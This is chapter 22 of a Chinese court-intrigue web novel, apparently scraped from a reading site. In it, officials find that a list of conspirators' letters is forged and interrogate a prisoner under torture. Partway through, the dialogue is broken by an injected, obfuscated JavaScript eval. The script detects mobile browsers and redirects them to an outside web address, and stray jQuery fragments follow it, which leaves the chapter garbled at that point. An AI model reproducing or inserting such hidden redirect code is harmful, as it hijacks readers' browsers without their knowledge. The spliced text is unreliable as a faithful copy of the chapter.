22. 真假

作品:《招惹清冷世子后

    朱雀街上,人来人往,熙熙攘攘。


    喧闹的街道旁,一栋名为“畅园”的茶楼,静静屹立着。进门处是一方庭院,种满了各色花木,满园翠绿仿佛隔去了外头的喧闹。中有一条蜿蜒的小路,直通茶楼,颇有几分曲径通幽之意。


    茶楼共有三层,从三层靠窗的雅间往下看,可以俯瞰大半个朱雀街,隐约还可以听到小贩的叫卖声,有烟火气,却不似在街上听到的那般嘈杂。


    杨崇景收回往楼下看的目光,命人给眼前凉透了的茶又换了一盏,直到看到楼下,专属于英国公府的马车停在畅园门前,终于放下心来。


    沈容湛进来时,刚好看到来换茶水的小二,顿时明白了,杨崇景已在此等候多时了。


    “劳杨太傅久等,深感抱歉。”


    杨崇景忙摆了摆手,“沈大人无需把责任往自己身上揽,是我在家中,总觉得心中不安宁,便提前来了。”


    二人相对而坐,半杯热茶下肚,杨崇景却不知该如何开口了。这些时日,他为宁王之事奔走,拜访过许多朝臣。大部分时候那些人知道他为何事而来,避之不及;有的念着昔日情分,还让他进来吃杯茶,然后还是要委婉劝说他,别再管这件事了。


    他知道,沈容湛在许州,不会没有收获,对他的期望也更大,此时不知该如何开口了,只能深深叹息一声。


    “杨太傅找我,是为了许州魏王谋逆一案?”


    沈容湛开门见山,反倒让杨崇景松了口气,“实不相瞒,能如此顺利与沈大人交谈,着实令我意外。我知道沈大人在许州,一定有所收获,宁王含冤而死,牵连的朝臣更是无数,若不能使他们沉冤昭雪,恐怕朝中怨气难平。”


    “确有一物。”


    对面的杨崇景眼睛一亮,“是何物?”


    沈容湛不缓不慢道:“在我去许州前,曾收到一封匿名书信,上面说魏王为防止与他同谋的朝臣临阵倒戈,留了份参与谋逆者的名单,还有来往的信件作为证物。这次去许州,我找到了此物。”


    他并未卖关子,直接将那份名单拿出来。


    结果名单的那双手都在颤抖着,杨崇景扫过名单,心中澎湃,若这名单属实,那足以证明宁王未曾参与谋逆。


    “何不将这名单呈交陛下,陛下与宁王一母所出,情意非常,若非听了小人挑唆,定不会处死宁王!”


    闻言,沈容湛捧着茶杯的手一顿,他将手中的茶饮尽后,方道:“这些东西尚未核实,还不能呈交陛下。”


    杨崇景无奈叹了口气,手中的茶饮了一杯又一杯。


    片刻后,沈容湛继续道:“宁王之事,震惊朝野,今日我也不妨将心里话告诉杨太傅,其实我也不信宁王会谋反。若能查出真相,定会呈交陛下。”


    “此番来寻杨太傅,也是为了此事,我需要找到这些官员的字迹与私印比对。”


    若是由大理寺出面查案,找到名单上官员的信件并不难,只是这样大动干戈,会闹得朝中人心惶惶。若想不着痕迹将事情办了,恐怕也只有门生遍布朝野的杨太傅可以做到了。况且比对字迹,杨太傅便是个行家。


    杨崇景闻言,放心了不少,连忙应下,“能在此事上出力,我义不容辞。”


    ……


    茶楼的木梯上,应瑶正踩在上头,朝二楼的雅间行去,忽听见上头楼梯传来的脚步声,便顺着声音的方向朝上望了一眼。这一眼,几乎让她魂都要吓出来了。


    只见下来的那人依旧穿着玄色衣袍,面容冷峻,从应瑶的角度,刚好可以透过帷帽,看清他的脸。


    是沈容湛!


    她连忙戴上帷帽,背过身,朝方才的那间雅间走去。


    不巧,迎面而来的程洛竹,目光正对上了从上走来的沈容湛。


    沈容湛往前一看,便看到那个身着青衣的男子。是丙戌科的探花郎,名叫程洛竹,目前在翰林院任职。


    那人主动双手做辑,“下官见过沈大人。”


    应瑶不动声色向前行去,拉低了帽檐,心提到了嗓子眼。


    “程大人也在。”


    他的视线往一旁移动,是个女子,背着身,在室内还紧紧戴着帷帽。


    应瑶听到那依旧不咸不淡的声音,觉得后背一热。


    “今日休沐,下官与同窗来这里喝杯茶。”


    沈容湛收回目光,没再多言,微微颔首后,朝楼下走去。


    听着越来越浅的脚步声,应瑶舒了口气,终于放下心来。


    二人回到雅间,应瑶捧着茶杯小酌了一口,“方才真是吓死了。”


    程洛竹给她添了杯茶,缓了缓后,问道:“这些日子你去了哪里?又是怎么拿到那些名单和信件的?”


    应家与程家是世交,程洛竹与应瑶的兄长年岁相仿,二人更有同窗之谊。应家兄妹二人与程洛竹一同长大,与应瑶算得上青梅竹马。


    应瑶回京后,确认昌宁伯府只是判了流放后,心中稍稍宽慰。又得知程洛竹亦在为应家之事奔走,便来寻他。


    因怕惹麻烦,应瑶未将实情完全说出,只道自己逃往许州时,无意间得到这些。


    待应瑶缓缓说完后,程洛竹顿了顿,“这些日子我一直在想办法,只是圣上对此事,甚是忌讳,朝中除了杨太傅,几乎无人敢提,尚需从长计议。”


    她知道这件事的艰难,却未曾想过,竟是这般难。她叹了口气,眼里尽是失落。


    程洛竹安慰道:“应伯父他们,我已暗中找人照料,应是无事,你且放宽心,会等到昭雪的那天。”


    应瑶点点头。


    ……


    经畅园会面后,二人约好时间,沈容湛带着名单,来到杨太傅府上。


    杨崇景虽官居极品,乃当朝太子太孙之师,住处却极为简朴。虽住的是圣上赏赐是三进院落,书房内,却只有满柜的书籍,以及摆着的几个大箱子,堆着满满当当的信件。


    顿时,沈容湛对杨崇景的钦佩又深了几分。


    看到名单时,杨崇景激动不已,接过纸张的手都微微颤动着。可随着他的目光逐渐下移,眉头也逐渐紧锁了起来。


    察觉到他的异样,沈容湛问道:“杨太傅,这是怎么了?”


    杨崇景没有回应他,只是自顾自翻着那摞信件,手上的动作也越来越快。


    半晌,他终于开口道:“信件是假的,这些东西,都是由人伪造。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833625|191098||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    沈容湛拿起一封信件比对,见上面字迹并不异样。


    见他面露疑惑,杨崇景解释道:“字迹模仿的很像,却并非天衣无缝。”


    “比如这个字,从他日常的信件上看,字迹松散一些,笔锋上看也有不同。再看私印处的防伪,就更假了。”


    沈容湛顺着他手指的方向看了看,果然如此。


    杨崇景道:“字迹虽是假的,但我总觉得,这份名单上所写的逆党名单是真的。我多问一句,这些东西是在哪里得到的?”


    没有这份名单时,很难看出哪些人是同党,而有了这份名单后,似乎这些人平日里都有异常可寻。


    沈容湛亦有同样的感受,才将名单给杨崇景看,遂道:“是在魏王余党的藏身处找到的。”


    杨崇景又问道:“那中途可有被人掉包的可能?”


    “此物一直由妥帖之人保管,可能性甚微。”


    究竟是得到时便是假的,还是中途被人掉了包,还得查过后方能知晓,二人心照不宣了。


    沈容湛道:“我回去后会详细查问。”


    杨崇景点点头,“那我就静候佳音了。”


    ……


    大理寺阴暗的地牢里,周围都是腐烂的恶臭味,李然的手脚被束缚在十字木架上,一动不动。他的身上布满伤痕,头颅向下低垂着,若非偶尔因痛处发出呜咽声,几乎让人以为他已经死了。


    沈容湛负手立在一旁,冷眼看着狱卒行刑。


    他并不喜欢这种动用酷刑的审讯方式,可眼下没有更好的办法了。那些信件是假的,可李然却咬紧了牙关,不肯说出真正的名单在何处。


    “世子,东西我带来了。”


    魏泽走了进来,将手中的东西递给了沈容湛后,站在一旁。


    沈容湛抬了抬手,示意狱卒停手。


    周围一下子安静了,只有墙上火把燃烧的声音,以及李然因为痛楚而加重的呼吸声。


    “我劝你还是尽早招认吧。”


    李然没有应答他,只冷冷哼了一声,似是在笑。


    沈容湛捏起他的下巴,强制抬起了他的头,让他看清自己另一只手上,握着的东西。


    李然的半垂的双眼赫然睁大了。


    那是个长命锁,是他的儿子满月时打造的,上头还刻了他的小字。


    他们这种人,包藏祸心,觊觎皇权。可行事之前,总不忘给自己留条血脉。


    魏王在京城谋逆,不忘将儿子留在接近边境的许州,李然亦是如此。


    他自认为隐藏的很好,却不曾想到,还是被沈容湛找到了。


    李然自嘲地笑了。


    “如果他隐姓埋名,忘掉过去种种,也不是不能将他留在世上。但条件是,你要说实话。”


    李然定定望着他,半晌,点头答应了。


    并非他多信任沈容湛的人品,只是儿子在他手上,除了答应,他别无选择。


    “我在许州收到黄德孝的书信,信上让我把东西给他的长女,说要联络上头的朝臣助我脱身。至于你说的什么假信件之事,我就不知道了。”


    沈容湛道:“好,我会信守我的承诺。”